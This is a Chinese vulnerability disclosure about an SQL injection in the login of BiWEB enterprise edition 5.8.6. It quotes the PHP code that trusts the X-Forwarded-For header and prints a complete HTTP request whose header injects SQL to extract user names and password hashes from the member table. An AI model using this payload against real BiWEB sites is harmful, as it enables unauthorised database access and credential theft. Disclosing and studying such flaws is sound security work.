### 简要描述：
BiWEB最新企业版XFF注入一枚
### 详细说明：
看到pandas提交的BiWEB的漏洞 [WooYun: BIWEB企业版多处SQL注入](http://www.wooyun.org/bugs/wooyun-2014-049740) ，pandas在search.php里找到了几个注入漏洞，我也来凑下热闹。去官网下BiWEB企业版最新的5.8.6来看看。
看看用户登录处是怎么处理的。BiWEB首先对GET和POST进行了过滤，/config/filtrate.inc.php
```
<?php
//过滤GET或POST的值，去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>
```
这里就先不说这种过滤的脑残之处了。
继续往下看，判断用户是否可以正常登录的文件/mcenter/class/mcenter.class.php，若登录成功，则执行下面的代码（测试时请先注册一个用户）。
```
无关代码
if($arr){
if(is_array($_SESSION)) $_SESSION = array_merge($_SESSION,$arr);
else $_SESSION = $arr;
$arrUpdate = array();
$arrUpdate['user_ip'] = check::getIP();
$arrUpdate['lastlog'] = date('Y-m-d H:i:s');
$arrUpdate['user_id'] = $arr['user_id'];
$arrUpdate['logtimes'] = ++$arr['logtimes'];
$arrUpdate['session_id'] = session_id();
$this->updateUser($arrUpdate);
return 1;
}else{
if($isAlert) check::AlertExit("用户名或密码错误",-1);
else return 0;
}
无关代码
```
可以看到，上面代码中有这么一句$arrUpdate['user_ip'] = check::getIP();，然后没有过滤就直接执行SQL了。现在去看看ip是怎么获得的。
/web_common5.8/check.class.php
```
static function getIP() {
$ip = '';
if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"];
else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if($_SERVER["REMOTE_ADDR"]) $ip =$_SERVER["REMOTE_ADDR"];
else $ip = "Unknow";
return $ip;
}
```
到这里就知道有问题了，登录，抓包，使用X-FROWARDED-FOR带入注入语句，成功注入。
Payload:
```
POST /user/login.php HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/user/login.php
x-forwarded-for:1' or (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password)from biweb_mcenter limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) or'
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; ypsdffp2app_admininfo=88ff7944laVfYY9BL1FuA%2BbNLMa%2Brd04KKHHyTrxgcY0sufkNR1I4pXCpZqYgYd9Y%2BqfL
%2B4XwwN8WETv4bcEbqKo28CQBBbS0iWJDNmoWbq4y1I; PHPSESSID=sdaar3bonn3fma2h5hmdet4pe5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
User=admin&Pass=admin&authCode=muran
```
成功注入
[<img src="https://images.seebug.org/upload/201411/04004639ab0ce81b110c9cf303e40247830b7672.jpg" alt="注入语句执行情况及结果副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/04004639ab0ce81b110c9cf303e40247830b7672.jpg)
### 漏洞证明：
见 详细说明
京公网安备 11010502034610号
暂无评论